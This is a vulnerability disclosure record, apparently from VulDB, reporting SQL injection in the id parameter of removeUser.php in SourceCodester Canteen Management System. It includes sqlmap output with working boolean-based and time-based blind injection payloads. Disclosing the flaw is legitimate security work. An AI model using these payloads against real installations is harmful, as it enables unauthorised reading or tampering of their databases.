| 标题 | SourceCodester Canteen Management System removeUser.php sql injection |
|---|
| 描述 | SourceCodester Canteen Management System removeUser.php sql injection
url: youthappam/php_action/removeUser.php
Abstract:
Line 14 of removeUser.php invokes a SQL query built with input that comes from an untrusted source. This call could allow an attacker to modify the statement’s meaning or to execute arbitrary SQL commands.
Explanation:
SQL injection errors occur when:
Data enters a program from an untrusted source.
The data is used to dynamically construct a SQL query.
In this case, the data is passed to query() in removeUser.php at line 14.
sqlmap identified the following injection point(s) with a total of 304 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: id=(SELECT (CASE WHEN (5974=5974) THEN 111 ELSE (SELECT 8956 UNION SELECT 5415) END))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=111 AND (SELECT 8669 FROM (SELECT(SLEEP(5)))iJMA) |
|---|
| 来源 | ⚠️ https://blog.csdn.net/weixin_43864034/article/details/128904906 |
|---|
| 用户 | zxc65805735 (UID 40327) |
|---|
| 提交 | 2023-02-06 10時23分 (4 年前) |
|---|
| 管理 | 2023-02-06 13時56分 (4 hours later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 220220 [SourceCodester Canteen Management System 1.0 removeUser.php 标识符 SQL注入] |
|---|
| 积分 | 20 |
|---|